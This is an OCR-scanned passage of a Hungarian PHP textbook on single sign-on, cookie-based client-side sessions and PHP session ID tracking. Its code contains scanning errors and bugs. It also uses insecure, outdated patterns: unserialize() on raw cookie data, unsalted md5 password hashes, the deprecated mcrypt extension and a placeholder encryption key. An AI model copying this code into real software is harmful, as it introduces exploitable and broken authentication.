header("Location: $client->server?request=$request");
}
public function process_auth_request($crypttext) {
$plaintext = $this->_decrypt($crypttext);
list($version, $time, $this->client, $this->originating_uri) =
explode($this->glue, $plaintext);
if( $version != $this->myversion) {
throw new SignonException("version mismatch");
}
if(abs(time() - $time) > $this->clock_skew) {
throw new SignonException("request tokén is outdated");
}
}
public function generate_auth_response() {
$parts = array($this->myversíon, time(), $this->userid);
$plaintext = implode($this->glue, $parts);
$request = $this->_encrypt($plaintext);
header("Location: $this
->client$this->originating_uri?response=$request");
}
13. fejezet * A felhasználók hitelesítése és a munkamenetek biztonsága 371

public function process_auth_response($crypttext) {


$plaintext = $this->_decrypt($crypttext);
list ($version, $time, $this->userid) =
explode($this->glue, $plaintext);
if( $version != $this->myversion) {
throw new SignonException("version mismatch");
}
if (abs(time() - $time) > $this->clock_skew) {
throw new SignonException("response tokén is outdated");
}
return $this->userid;
}

protected function _encrypt($plaintext) {


$iv = mcrypt_create_iv (mcrypt_enc_get_iv_size ($td),
MCRYPT_RAND);
mcrypt_generic_init ($this->td, $this->key, $iv);
$crypttext = mcrypt_generic ($this->td, $plaintext);
mcrypt_generic_deinit ($this->td);
return $iv.$crypttext;
}
protected function _decrypt($crypttext) {
$ivsize = mcrypt_get_iv_size($this->td) ;
$iv = substr($crypttext, 0, $ivsize);
$crypttext = substr($crypttext, $ivsize);
mcrypt_generic_init ($this->td, $this->key, $iv);
$plaintext = mdecrypt_generic ($this->td, $crypttext);
mcrypt_generic_deinit ($this->td);
return $plaintext;
}
}

A SingleSignOn osztály nem sokkal bonyolultabb, mint a korábban megismert Cookie.


A legnagyobb különbség az, hogy most már két különböző típusú üzenetet (kérelmet és
választ) továbbítunk, és ezeket lekérdezési karakterlánc paraméterekként adjuk át, nem
pedig sütik formájában. A kódban természetesen találhatunk egy előállító és egy feldolgo-
zó tagfüggvényt mind a kérelmek, mind a válaszok részére. Bizonyára megismerjük régi
jó barátainkat, az _encrypt és a _decrypt függvényeket a Cookie. inc-ből - ők válto-
zatlan alakban jelennek meg.

Használatukhoz mindenekelőtt helyesen kell beállítanunk a paramétereket. Az alábbiak


szerint egyszerűen példányosíthatunk egy SingleSignOn objektumot:
<?php
include_once 'SingleSignOn.inc';
$client = new SingleSignOn();
$client->client = "http://www.example.foo";
$client->server = "http://www.singlesignon.foo/signon.php";
?>
372 PHP fejlesztés felsőfokon

Nos, ez egy kissé hosszadalmas, ezért hát visszatérhetünk jól bevált módszerünkhöz, és
bővíthetjük az osztályt, megadva tulajdonságait:

class SingleSignOn_Example extends SingleSignOn {


protected $client = "http://www.example.foo";
protected $server = "http://www.singlesignon.foo/signon.php";
}

Most módosítanunk kell általános hitelesítési burkolónkat, hogy ne csak azt ellenőrizze,
a felhasználó rendelkezik-e sütivel, hanem azt is, hogy kapott-e hitelesített választ a hite-
lesítő kiszolgálótól:

function check_auth() {
try {
$cookie = new CookieO;
$cookie->validate();
}
catch(AuthException $e) {
try {
$client = new SingleSignOn();
$client->process_auth_response($_GET['response']);
$cookie->userid = $client->userid;
$cookie->set();
}
catch(SignOnException $e) {
$client->originating_uri = $_SERVER['REQUESTJJRI'];
$client->generate_auth_request();
// mivel egy 302-es átirányítást küldtünk,
// minden más műveletet leállíthatunk
exit ;
}
}
}

A kód a következők szerint működik. Amennyiben a felhasználó rendelkezik érvényes


sütivel, azonnal továbbmehet. Ha nem ez a helyzet, ellenőriznünk kell, hogy érkezett-e
számára érvényes válasz a hitelesítő kiszolgálótól. Amennyiben igen, készítünk a számára
egy, a webhelyre érvényes sutit, és továbbküldjük, egyébként pedig létrehozunk egy hite-
lesítési kérelmet, és a felhasználót továbbküldjük a hitelesítő kiszolgálóhoz, átadva az ak-
tuális URL-t, biztosítva ezzel, hogy a hitelesítés végeztével a megfelelő helyre kerüljön.

A hitelesítő kiszolgálón található signon.php hasonlít a korábban összeállított bejelent-


kezési oldalhoz:
<?php
require_once 'Cookie.inc';
require_once 'SingleSignOn.inc';
13. fejezet * A felhasználók hitelesítése és a munkamenetek biztonsága 373

$name = $_POST [ ' name ' ] ;


$password = $_POST['password'] ;
$request = $_REQUEST['request' ] ;
try {
$signon = new SingleSignOn();
$signon->process_auth_request($request) ;
if($name && $password) {
$userid = CentralizedAuthentication::check_credentials($name,
$password,
$signon->client);
}
else {
$cookie = new Cookie();
$cookie->validate();
CentralizedAuthentication::check_credentialsFromCookie($cookie
->userid, $signon->client);
$userid = $cookie->userid;
}
$signon->userid = $userid;
$resetcookie = new Cookie($userid);
$cookie->set();
$signon->generate_auth_reponse();
return;
}
catch (AuthException $e) {
?>
<html>
<title>SingleSignOn Sign-In</title>
<body>
<form name=signon method=post>
Username: <input type="text" name="name"xbr>
Password: <input type= "password" name= "name"xbr>
<input type="hidden" name="auth_request" value="<?=
$_REQUEST['request'] ?>
<input type=submit name=submitted value="Login">
</form>
</body>
</html>
<?
}
catch (SignonException $e) {
header("HTTP/1.0 403 Forbidden");
}
?>

Vizsgáljuk meg a központi try {} blokk működését! Először is feldolgozzuk a hitelesítési


kérelmet. Amennyiben nem érvényes, a kérelmet nem egy számunkra ismert ügyféltől
kaptuk. így azonnal reagálhatunk egy SignOnException kivétellel, ami 403 Forbidden
374 PHP fejlesztés felsőfokon

üzenetet küld a felhasználónak. Ezután megkísérlünk beolvasni egy sutit a hitelesítő ki-
szolgáló számára. Amennyiben ez létezik, már találkoztunk ezzel a felhasználóval, így
megkereshetjük az azonosítója alapján (a check_credentialsFromCookie-ban). Ez-
után, feltételezve, hogy a felhasználó a kérelmező tartományhoz igényelte a hitelesítést,
visszaküldhetjük oda, ahonnan érkezett, egy érvényes hitelesítési válasszal. Amennyiben
nem találunk érvényes sutit (akár azért, mert a felhasználó nem rendelkezik ilyennel, akár
azért, mert lejárt), visszakerülünk a bejelentkezési űrlapra.

Utolsó feladatunk a kiszolgáló oldali hitelesítő függvények megvalósítása. A korábbiakhoz


hasonlóan ezek teljesen önálló összetevők, így építhetők jelszavakra, LDAP-re, vagy más
hitelesítési háttérre. Ha a MySQL-nél maradunk, az alábbi függvénypárt készíthetjük el.

class CentralizedAuthentication {
function check_credentials($name, $password, $client) {
$dbh = new DB_Mysql_Prod();
$cur = $dbh->prepare("
SELECT
userid
FROM
ss_users
WHERE
name = : 1
AND password = :2
AND client = :3")->execute($name, md5($password), $client);
$row = $cur->fetch_assoc();
if($row) {
$userid = $row['userid'];
}
else {
throw new SignonException("user is not authorized");
}
return $userid;
}

function check_credentialsFromCookie($userid, $server) {


$dbh = new DB_Mysql_Test();
$cur = $dbh->prepare("
SELECT
userid
FROM
ss_users
WHERE
userid = :1
AND server = :2")->execute($userid, $server);
$row = $cur->fetch_assoc() ;
13. fejezet • A felhasználók hitelesítése és a munkamenetek biztonsága 375

i f(!$row) {
throw new SignonException("user is not authorized");
}
}
}

Nagyszerű, elkészítettünk tehát egy teljes, jól működő egyszeri feliratkozásos rendszert.
Ez a tudás a jövőben sok esetben hasznunkra lehet, hiszen a cégek kapcsolatainak szapo-
rodásával a hitelesítés kiterjesztése egyre fontosabbá válik.

További olvasmányok
Az egyszerű HTTP-hitelesítés rendszere és a PHP kapcsolatáról Luké Welling és Laura
Thomson PHP and MySQL Web Development című könyvében olvashatunk. Az egyszerű
hitelesítés szabványát az RFC 2617 adja meg (www. ietf .org/rf c/rf c2617 .txt).

A PHP elektronikus kézikönyvében kimerítő leírást kapunk a sütik használatáról,


ha azonban ez nem elégítené ki igényeinket, megtekinthetjük az RFC 2109-et
(www. ietf.org/rfc/rfc2617 .txt), illetve a Netscape eredeti meghatározását
(http://wp.netscape.com/newsref/std/cookie_spec.html).

Egyetlen programozó könyvtára sem lehet teljes Bruce Schneier Applied Cryptogmphy cí-
mű könyve nélkül, melyet csak az alkalmazott kriptográfia bibliájaként emlegetnek. Hihe-
tetlenül átfogó, és minden ismertebb titkosítási módszert behatóan tárgyal. Egy újabb
könyve, a Secrets and Lies: Digital Security in a Networked World napjaink digitális biz-
tonsági rendszereinek technikai és egyéb hiányosságaival foglalkozik.

A Washingtoni Egyetemen fejlesztett nyílt forrású egyszeri feliratkozásos rendszer, a pub-


cookie megtalálható a www.washington.edu/pubcookie címen. A fejezetünkben be-
mutatott rendszer a pubcookie és a Microsoft Passport protokoll ötvözetének tekinthető.

Avi Rubin és Dávid Kormann érdekes cikke az egyszeri feliratkozásos rendszer kockázata-
iról (Risks ofthe Passport Single Signon Protocol) a következő címen található meg:
http://avirubin.com/passport.html
Munkamenetek kezelése
A 13. fejezetben a felhasználók munkameneteinek hitelesítéséről ejtettünk szót. Amellett
azonban, hogy meg szeretnénk győződni az egymás utáni kérelmek közös eredetéről,
gyakran a felhasználó állapotadatait is meg kívánjuk őrizni a kérelmek között. Bizonyos
alkalmazásoknak - így az elektronikus bevásárlókocsiknak és egyes játékoknak - szüksé-
gük van az állapotok megőrzésére. Mindazonáltal, az állapotok ennél sokkal szélesebb
körben használatosak.

Az állapotok nyilvántartása az alkalmazásokban jelentős kihívás elé állíthat, az esetlegesen


felhalmozódó adatok nagy mennyisége miatt. Egy bevásárlókocsit kezelő alkalmazás ese-
tében lehetőséget kell adnunk a felhasználóknak arra, hogy árukat pakoljanak a kocsiba,
és a teljes munkamenet alatt követnünk kell ennek állapotát. A PHP nem teszi lehetővé,
hogy bármit is megőrizzünk a kérelmek között, így adatainkat valahol tárolnunk kell, ahol
a kérelem teljesítése után is elérhetők maradnak.

Az állapotok követésére számos módszer létezik - használhatunk sütiket, lekérdezési ka-


rakterláncokat, DBM, adatbázis, vagy alkalmazáskiszolgáló alapú gyorstárakat, a PHP bel-
ső munkamenet-kezelési eszközeit, vagy valamilyen házi fejlesztésű módszert. Ilyen nagy
választék mellett szükség van valamilyen rendező elvre. Lehetőségeinket nyomban két
csoportra oszthatjuk, attól függően, hogy az adatok zömét az ügyfél vagy a kiszolgáló ol-
dalán tároljuk:

• Ügyfél oldali munkamenetek - Ilyen esetben a munkamenet állapotait javarészt át kell


vinnünk az ügyfél és a kiszolgáló között minden kérelem esetén. Ez a megoldás
túlzottan is egyszerűnek tűnhet — az ilyen munkameneteket gyakran nehézsúlyú-
nak is hívják, tekintettel az ügyfél-kiszolgáló adatforgalom mértékére. A nehézsú-
lyú munkamenetek akkor jöhetnek számításba, ha az állapotadatok mérete kicsi.
Működésükhöz nincs vagy csak kevés háttértámogatásra van szükség. (Nem ren-
delkeznek háttértárolóval.) Igaz ugyan, hogy az átvitt tartalom tekintetében nehéz-
súlyúak, de annál hatékonyabbak az adatbázis, illetve a háttértár kihasználása te-
rén. Mindez azt is jelenti, hogy elosztott rendszerbe helyezésükhöz csak apró mó-
dosításokra van szükség.
378 PHP fejlesztés felsőfokon

• Kiszolgáló oldali munkamenetek - E munkamenetek esetében igen kicsi ügyfél-kiszolgáló


adatforgalomra van szükség. Itt jellemzően egy azonosítót rendelnek az adott munka-
menethez, ezután csak ezt az azonosítót kell átvinni. A kiszolgáló oldalon az állapotot
valamilyen munkameneti tárolóban raktározzák (jellemzően adatbázis vagy fájl alapú
kezelőben), és a munkamenet-azonosító szolgál arra, hogy összekösse a kérelmet
a hozzá tartozó állapotadatokkal. Egyes kiszolgáló oldali munkamenet-megvalósítások
nehezen illeszkedhetnek elosztott szerkezetekbe.

A korábbi fejezetekben számos munkameneti gyorstárral ismerkedhettünk meg, melyek


a teljesítmény növelése érdekében az ügyfél munkamenetének különböző részeit tárolták.
Az alapvető különbség a korábban megismert munkameneti gyorstárak és a munkameneti
állapotok között az, hogy az előbbiek olyan adatokat tárolnak, amelyek amúgy is elérhe-
tők - jóllehet lassan —, és ezeket gyorsabban és kényelmesebben elérhető formában bo-
csátják rendelkezésre. A munkamenet állapotadatai ezzel szemben nem érhetők el más
formában, de az alkalmazás helyes működéséhez mindenképpen szükség van rájuk.

Ügyfél oldali munkamenetek


Amikor felkeressük orvosunkat, ahhoz, hogy megfelelően ellásson, hozzá kell férnie kór-
történeti adatainkhoz. Ennek egyik módja, ha kórlapunkat magunk hozzuk el, és a látoga-
tás kezdetén odaadjuk az orvosnak. Ez a módszer biztosítja, hogy a doktor mindig a leg-
frissebb adatokhoz jusson hozzá, hiszen csak egyetlen példányban állnak rendelkezésre,
és azt mi magunk birtokoljuk. Ez a módszer eredeti formájában már kiment a divatból
egyes országokban, de a tárolási módszerek fejlődésével felmerült egy olyan kártya hasz-
nálatának lehetősége, melyen a beteg megkapja teljes kórtörténetét. Ez igencsak hasonlít
az ügyfél oldali munkamenetek esetéhez, hiszen ilyenkor a felhasználó minden szükséges
adatot magával hordoz, és nincs szükség semmiféle központi adattárolóra.

A másik lehetséges módszer, ha a kórtörténeti adatokat az orvosi rendelőben tároljuk. Ezt


az eljárást alkalmazzák jelenleg Magyarországon. Ez hasonlít a kiszolgáló oldali munka-
menet rendszeréhez, amikor a felhasználó csak egy azonosító kártyát hoz magával, és ez
alapján keresik ki adatait a központi tárolóból.

A fenti hasonlat rávilágít az ügyfél oldali munkamenetek néhány gyenge pontjára:

• Fennáll az illetéktelen betekintés, illetve módosítás lehetősége.


• Az ügyfél oldali munkamenetek átvitele nehézkes.
• Fennáll az adatvesztés kockázata.

Az ügyfél oldali munkamenetek nem örvendenek jó hírnévnek. A fejlesztők gyakran túl-


zottan nagy fegyvertárat vetnek be a feladatok megoldása érdekében, alkalmazásokat és
adatbázisokra épülő munkamenet-kezelést alkalmaznak, ugyanis ezeket „komolyabb"
14. fejezet • Munkamenetek kezelése 379

eszközöknek vélik. Érezhető továbbá egy olyan tendencia a nagyléptékű programtervezés


területén, amely a nehézsúlyú munkamenetek felől inkább a kiszolgáló oldali gyorstárak
felé mutat. Mindezt azzal indokolják, hogy a kiszolgáló alapú gyorstár a legtöbb állapot-
adatot az alkalmazás számára elérhető helyen tárolja, és könnyebben kibővíthető más
munkameneti adatok raktározására.

Munkamenetek megvalósítása sütik segítségével


A 13. fejezetben láthattuk, hogy a sütik nagyszerű megoldást jelentenek a munkamenetek
adatainak átadására. Hamarosan tapasztalhatjuk majd, hogy akkor is hasznos eszközök le-
hetnek, ha nagyobb adatmennyiségről van szó.

A munkamenetek használatának bemutatására a legegyszerűbb példa annak megszámolá-


sa, hányszor kereste fel egy felhasználó az adott oldalt:

<?php
$MY_SESSION =
unserialize(stripslashes($_COOKIE['session_cookie']));
$MY_SESSION['count' ] ++;
setcookie("session_cookie", serialize($MY_SESSION),
time() + 3 6 0 0 ) ;
?>
You have visited this page <?= $MY_SESSION['count' ] ?> times.

Példánkban egy session_cookie nevű süti tárolja a $MY_SESSION tömb tartalmát,


amely ez esetben egy count kulcsra épülő látogatásszámláló. A setcookie () automati-
kusan kódolja a paramétereit az urlencode () tagfüggvénnyel, így az oldaltól kapott süti
az alábbi alakban áll elő:

Set-Cookie:
session_cookie=a%3Al%3A%7Bs%3A5%3A%22count%22%3Bi%3Al%3B%7D;
expires=Mon, 03-Mar-2003 0 7 :0 7 :1 9 GMT

Ha visszafejtjük a süti adatokat tartalmazó részét, az alábbiakat kapjuk:

a: 1:{s:5:"count";i:1;}

Ez pedig (pontosan, amint vártuk) az alábbi kifejezés sorosított alakja:

$MY_SESSION = array('count' => 1);


380 PHP fejlesztés felsőfokon

Sorosított adatok a sütikben


Alapértelmezés szerint a PHP az addslashes () függvényt futtatja minden olyan adaton,
melyet a COOKIE, a POST vagy a GET változókon keresztül kap meg. Ez egy biztonsági
lépés, ami segít a felhasználók adatainak megtisztításában. Mivel szinte minden soro-
sított változó tartalmaz idézőjeleket, futtatnunk kell a stripslashes () tagfüggvényt
a $_COOKIE [ ' session_data ' ] változón, mielőtt visszaalakítanánk. Ha megszoktuk,
hogy kézi munkával tisztítjuk meg a felhasználói bemenetet, és pontosan tudjuk, mit
csinálunk, eltávolíthatjuk az idézőjeleket a php. ini fájl magic_quotes_qpc = Of f
beállításával.

A felhasználóknak természetesen nem jelent nehézséget az, hogy saját sütijeikben a fenti
értékek bármelyikét megváltoztassák. Ezekben a példákban ez nem okozna semmiféle
gondot, de az alkalmazások többségében nem szeretnénk megadni e módosítás lehetősé-
gét. Ezért ha ügyfél oldali munkameneteket használunk, minden esetben titkosítanunk
kell a munkamenetek adatait. A 13- fejezetben megismert titkosító függvények tökélete-
sen megfelelnek e célnak.
<?php
// Encryption.inc
class Encryption {
static $cypher = 'blowfish';
static $mode = 'cfb';
static $key = 'choose a better key' ;

public function encrypt($plaintext) {


$td = mcrypt_module_open (self::$cypher, '', self::$mode, '');
$iv = mcrypt_create_iv (mcrypt_enc_get_iv_size ($td),
MCRYPT_RAND);
mcrypt_generic_init ($td, self::$key, $iv);
$crypttext = mcrypt_generic ($td, $plaintext);
mcrypt_generic_deinit ($td);
return $iv.$crypttext;
}
public function decrypt($crypttext) {
$td = mcrypt_module_open (self::$cypher, '', self::$mode, ' ');
$ivsize = mcrypt_enc_get_iv_size($td);
$iv = substr($crypttext, 0, $ivsize);
$crypttext = substr($crypttext, $ivsize);
$plaintext = " " ;
if ( $iv ) {
mcrypt_generic_init ($td, self::$key, $iv);
$plaintext = mdecrypt_generic ($td, $crypttext);
mcrypt_generic_deinit ($td);
}
14. fejezet • Munkamenetek kezelése 381

return $plaintext;
}
}
?>

Az oldal kódjának egyszerű módosításával elérhetjük, hogy kódolja a sorosított adatokat,


mielőtt elküldené a sütiben:

<?php
include_once 'Encryption.inc';
$MY_SESSION = unserialize(
stripslashes(
Encryption::decrypt($_COOKIE['session_cookie'])
)
);
$MY_SESSION['count' ] ++ ;
setcookie("session_cookie",
Encryption::encrypt(serialize($MY_SESSION)),
time() + 3600);
?>

Példánk tapasztalataiból kiindulva tehetünk néhány megállapítást a nehézsúlyú munka-


menetekkel kapcsolatban. Könnyen láthatók az alábbi előnyös tulajdonságok:

• Alacsony háttérterhelés - Munkám során egy általános irányelvhez mindig tartom ma-
gam - soha nem használok adatbázist, ha erre nincs feltétlenül szükség. Az adatbá-
zisrendszerek elosztása nehéz, méretezésük költséges, és gyakran válhatnak szűk
keresztmetszetté. A munkamenetek adatai jobbára rövid ideig érvényesek, így
olyan hosszú távú tárolási eszköz, mint egy adatbázis-kezelő rendszer használata
esetükben megkérdőjelezhető.
• Könnyű alkalmazhatóság elosztott rendszerek esetében - Mivel a munkamenet minden
adata a kérelemben található, ez a módszer könnyen kibővíthető több gépből álló
fürtökre is.
• Könnyű alkalmazhatóság nagy számú ügyfél esetén is - A munkamenetek állapotainak
ügyfél oldali kezelése nagyszerű módszer az ügyfelek számának növelése szem-
pontjából is. Jóllehet szükségünk lesz további kapacitásra a forgalomnövekedés ki-
elégítésére, de magukat az ügyfeleket újabb költségek nélkül beilleszthetjük
a rendszerbe. A munkamenetek nagy mennyiségű adatának feldolgozása teljesen
az ügyfelekre hárul, és olyan egyenletesen oszlik el, hogy az egyes ügyfelek terhe-
lése minimális.
382 PHP fejlesztés felsőfokon

Az ügyfél oldali munkamenetek használatának persze hátrányai is vannak:

• Nem igazán alkalmasak nagy mennyiségű adat átvitelére -Jóllehet szinte minden böngé-
sző támogatja a sütiket, rendelkeznek valamilyen belső korlátozással ezek méretére
nézve. A gyakorlatban ez a korlát valahol 4 KB felett van. Mindazonáltal, még a 4
KB-os sütik is nagynak számítanak. Ne feledjük, ez a süti minden olyan kérelemmel
átmegy, ami a sütihez tartozó tartományba tart, illetve az útvonalán halad. Mindez
érezhetően lelassíthatja az adatátvitelt kis sebességű vagy nagy késleltetésű kapcso-
latokban, és akkor még nem is szóltunk a sávszélesség-veszteségről. Jómagam egy-
fajta „lágy" 1 KB-os korlátozást használok az alkalmazásaimban használt sütiknél.
Ez a méret még kezelhető, ugyanakkor elegendő adatot tárolhatunk benne.
• Nehéz újrahasznosítani az adatokat a munkamenet környezetén kívül - Mivel az adatokat
a rendszer csak az ügyfél oldalon tárolja, nem érhetjük el azokat, ha a felhasználó
nem intéz kérelmet hozzánk.
• A kimenet elkészítése előtt minden munkameneti adatot rögzítenünk kell - Mivel a sütiket még
azelőtt át kell küldeni az ügyfélnek, mielőtt bármilyen tartalmat átadnánk, az adatátvi-
telt megelőzően be kell fejeznünk a munkameneti módosításokat, és meg kell hív-
nunk a setcookie () tagfüggvényt. Természetesen ha átmeneti tárolást alkalmazunk
a kimenetre, ez a korlátozás nem áll fenn, így a sütiket bármikor beállíthatjuk.

A példa továbbfejlesztése
Ahhoz, hogy ügyfél oldali munkameneteink valóban hasznosíthatók legyenek, készíte-
nünk kell köréjük egy elérési könyvtárat. íme egy példa:

// cs_sessions.inc
require_once 'Encryption.inc';
function cs_session_read($name='MY_SESSION') {
global $MY_SESSION;
$MY_SESSION =
unserialize(Encryption::decrypt(stripslashes($_COOKIE[$name])));
}
function cs_session_write($name='MY_SESSION', $expiration=3600) {
global $MY_SESSION;
setcookie($name, Encryption::encrypt(serialize($MY_SESSION)),
time() + $expiration);
}
function cs_session_destroy($name) {
global $MY_SESSION;
setcookie($name, "", 0);
}
14. fejezet • Munkamenetek kezelése 383

Az eredeti látogatásszámláló példa most így fest:

<?php
include_once 'cs_sessions.inc';
cs_session_read();
$MY_SESSION [ ' count' ] ++;
cs_session_write();
?>
You have visited this page <?= $MY_SESSION['count'] ?> times.

Kiszolgáló oldali munkamenetek


Ha elosztott környezetben működő kiszolgáló oldali munkamenet-kezelő rendszert készí-
tünk, fontos, hogy biztosítsuk, hogy a kérelmet fogadó gép hozzájusson a munkamenet
adataihoz.

Visszatérve orvosi adatokkal kapcsolatos példánkhoz, a kiszolgáló oldali, vagyis irodai


megvalósítás esetében két lehetőségünk van: Odavihetjük a felhasználót az adatokhoz, il-
letve az adatokat a felhasználóhoz. Ha nem rendelkezünk központosított tárolóval, meg
kell követelnünk, hogy a felhasználó mindig ugyanahhoz a kiszolgálóhoz térjen vissza.
Ez az orvosi példában azt jelenti, hogy a betegnek mindig ugyanazt a doktort kell felke-
resnie. Ez a rendszer jól működik kisvárosi orvosi rendelők vagy egykiszolgálós rendsze-
rek esetében, de nehezen méretezhető, és használhatatlanná válik, ha több helyen kell ki-
szolgálni az embereket. Több orvosi rendelő kezelésére a betegek adatait nyilvántartó
központi adatbázisokat hoznak létre, melyekben az orvosok elérhetik és frissíthetik a be-
tegek bejegyzéseit.

A terheléselosztás területén ismeretes a munkamenetek ragadósságának (session sticki-


ness) fogalma, ami annak biztosítását jelenti, hogy adott felhasználó mindig ugyanahhoz
a kiszolgálóhoz kerül. A munkamenet ragadósságát számos hardveres megoldással meg-
valósíthatjuk (szinte minden 7-es szintű vagy tartalomváltó hardveres terheléskiegyenlítő
támogatja ezt a lehetőséget), de programozástechnikai megoldásokat is alkalmazhatunk
(ilyen például az Apache mod_backhand modulja). Persze az, hogy valamit megtehe-
tünk, nem jelenti azt, hogy valóban meg is kell tennünk. A munkamenetek ragadóssága
javíthatja a gyorstárak hatékonyságát, ezért meglehetősen sok alkalmazás komolyan épít
ene a tulajdonságra. Sajnos ez nem szerencsés megoldás, ugyanis több szempontból is sé-
rülékenyebbé teszi az alkalmazást:

• Romló erőforrás-, illetve terheléskiegyenlítés - Az erőforrások használatának kiegyenlíté-


se nehéz feladat. Minden terheléselosztónak megvan a maga módszere, annyi
azonban közös bennük, hogy a kérelem útvonalának meghatározásához az aktuális
terhelési adatokat használják fel. Ha megköveteljük a munkamenetek ragadósságát,
gyakorlatilag erőforrásokat kötünk le az örökkévalóságig egyes munkamenetek
384 PHP fejlesztés felsőfokon

számára. Ez gyengébb terheléskiegyenlítéshez vezethet, és lehetetlenné teheti szá-


mos olyan „okos" algoritmus működését, ami terheléskiegyenlítés segítségével
osztja el a kérelmeket.
• Nagyobb a meghibásodás lehetősége - Vegyük a következő fejtörőt: ha egyébként
minden feltétel megegyezik, melyik biztonságosabb - egy kétmotoros gép, mely-
nek a repüléshez mindkét motorra szüksége van, vagy egy egymotoros? Természe-
tesen az utóbbi, hiszen annak valószínűsége, hogy kettőből egy motor meghibáso-
dik nagyobb, mint az, hogy egyből egy romoljon el. (Ha jobban szeretünk dobó-
kockában gondolkodni, annak valószínűsége, hogy hatost dobunk nagyobb, ha két
kockával játszunk, mintha eggyel.) Hasonlóképpen egy elosztott rendszer, ami mű-
ködésképtelenné válik, ha az egyik csomópontja meghibásodik, rosszul megterve-
zett. Olyan rendszerek megalkotására kell törekednünk, amelyek mindaddig műkö-
dőképesek, míg akár egyetlen csomópontjuk is kitart. (A repülőgépek példájával
élve: egy olyan kétmotoros gép, amelynek csak egy motorra van szüksége a repü-
léshez, biztonságosabb, mint egy egymotoros.)

Annak biztosítása, hogy az ügyfél adatai mindenhol elérhetők legyenek, ahol szükség van
rájuk, egy alapvető hátránnyal jár: igen sok erőforrást használ fel. A munkameneti gyors-
tárak természetüknél fogva jobbára kérelmenként frissülnek, így egy olyan rendszerben,
ahol másodpercenként 100 kérelem érkezik be, megfelelő tárolási módszerre is szükség
van. 100 frissítés és kiolvasás másodpercenként nem jelenthet gondot a legtöbb korszerű
adatbázis-kezelő számára, de ha ezt a számot 1000-re növeljük, sokuk már nem tud meg-
birkózni a feladattal. Még ha többszörözést is használunk e megoldásoknál, akkor sem
nyerünk túl sokat a méretezhetőség terén, mivel az adattorlódást valójában a munkame-
netek frissítése, nem pedig kiolvasása okozza - és mint a korábbiakban megtanulhattuk,
a beillesztési és frissítési műveletek többszörözése sokkal nehezebb, mint a kiolvasási mű-
veletek elosztása. Ez persze nem kell, hogy elvegye kedvünket az adatbázis hátterű mun-
kamenetektől. Számos alkalmazás valószínűleg nem is nő olyan méretűre, hogy ez gon-
dot jelenthetne, és felesleges valamilyen nem méretezhető megoldást elutasítanunk, ha
egyébként nincs szándékunkban növelni. Jó, ha tudunk ezekről a lehetőségekről, így
nyugodtan programozhatunk az esetleges korlátozások szem előtt tartásával.

PHP munkamenetek - találjuk-e fel újra a kereket?


E fejezet írása során, bevallom, sokszor elgondolkoztam azon, hogy az egyéni munkame-
net-kezelésre összpontosítsak vagy a PHP munkameneti bővítményére. Jómagam nem lá-
tok semmi kivetnivalót a kerék újrafeltalálásában (az önképzés álcája mögé bújva) - sok-
szor szívesebben választom ezt a módszert az előre elkészített megoldások használatával
szemben. A lehetőségeknek két csoportja létezik - az egyiket szívesen valósítom meg ma-
gam, míg a másikba tartozókat inkább rábízom a nagy fejlesztőcégekre. A munkamenetek
éppen e két csoport határán találhatók. A PHP munkamenetek igen sokoldalúan használ-
hatók, és bár az alapértelmezett munkamenet-kezelők nem elégítik ki minden igényemet,
a saját kezelők írásának lehetősége orvosság lehet a legtöbb gondra.
14. fejezet • Munkamenetek kezelése 385

A következőkben a PHP könnyűsúlyú munkamenetekre alkalmazható munkameneti bő-


vítményével foglalkozunk. Kezdjük az alapokkal!

A munkamenet-azonosító nyomon követése


A munkamenet azonosítójának nyomon követése során mindenekelőtt meg kell határoz-
nunk a kérelem kiadóját. Ha meglátogatjuk orvosunkat, természetesen meg kell mutat-
nunk társadalombiztosítási azonosítónkat, hiszen csak ennek ismeretében férhet hozzá
kórtörténeti adatainkhoz. Hasonlóképpen, csak a munkamenet azonosítójának átadása
után juthatunk hozzá a munkamenet adataihoz a PHP-ben. Amint a 13. fejezetben is meg-
jegyeztük, a munkamenetek eltérítésének lehetőségét mindig szem előtt kell tartanunk.
Mivel a munkameneti bővítményt úgy készítették el, hogy képes legyen mindenféle hite-
lesítési rendszertől függetlenül működni, véletlenszerű munkamenet-azonosítókat készít
az eltérítési kísérletek megelőzésére.

Beépített módszerek a munkameneti azonosítók követésére


A munkameneti bővítmény beépítetten kétféle módszert támogat a munkameneti azonosí-
tó átvitelére:

• a sütik használatát,
• a lekérdezési karakterláncok csatolását.

A sütik alkalmazása esetén a munkameneti azonosítóhoz egy külön sutit készítenek. En-
nek neve alapértelmezés szerint PHPSESSIONID, típusát tekintve pedig munkameneti süti
(ez azt jelenti, hogy lejárati ideje 0, vagyis ha a böngészőt kikapcsolják, automatikusan
megsemmisül). A sütik támogatását a php. ini állomány következő beállításával érhetjük
el (alapállapotban bekapcsolt):
session.use_cookies=l
A lekérdezési karakterlánc csatolásánál a rendszer a dokumentumban található címkékhez
automatikusan nevesített változókat rendel. A lekérdezések csatolása alapállapotban kikap-
csolt, de ezt megváltoztathatjuk, ha alkalmazzuk a következő beállítást a php. ini fájlban:
session.use_trans_sid=l
Ez esetben a trans_sid az angol „transparent session ID", vagyis rejtett munkamenet-
azonosító név rövidítéseként szerepel, mivel bekapcsolása esetén a rendszer automatiku-
san átírja a címkéket. így például, ha bekapcsoljuk a use_trans_id beállítást, az alábbi
kódrészletből
<?php
session_start();
?>
<a href="/foo.php">Foo</a>
ez lesz:
<a href="/foo.php?PHPSESSIONID=12345">foo</a>
386 PHP fejlesztés felsőfokon

A munkamenet-azonosítók süti alapú követése több okból is jobb módszer, mint a lekér-
dezési karakterláncok csatolása. Ezekről már a 13. fejezetben is szót ejtettünk:

• Biztonság - Könnyen előfordulhat, hogy egy felhasználó véletlenül elküld egy barát-
jának egy URL-t munkamenetének aktuális azonosítójával, ami a munkamenet
szándékolatlan eltérítéséhez vezethet. Előfordulhatnak olyan támadások is, ame-
lyek hasonló módszerekkel ráveszik a felhasználót, hogy egy hamis munkamenet-
azonosítót hitelesítsen.
• Esztétikusság - Újabb paraméter hozzáadása a lekérdezési karakterlánchoz meglehe-
tősen csúnya, vad kinézetű URL-eket eredményez.

Akár sütikkel, akár lekérdezésekkel állítjuk be a munkamenetek azonosítóit, nevüket


a php. ini állomány session. name paraméterében adhatjuk meg. így ha például
a PHPSESSIONID helyett a MYSESSIONID nevet szeretnénk alkalmazni a süti esetében,
az alábbiakkal célt érhetünk:

session.name=MYSESSIONID

Léteznek persze emellett más paraméterek is, melyeknek nagy hasznát vesszük a süti ala-
pú munkamenet-kezelés beállításában:

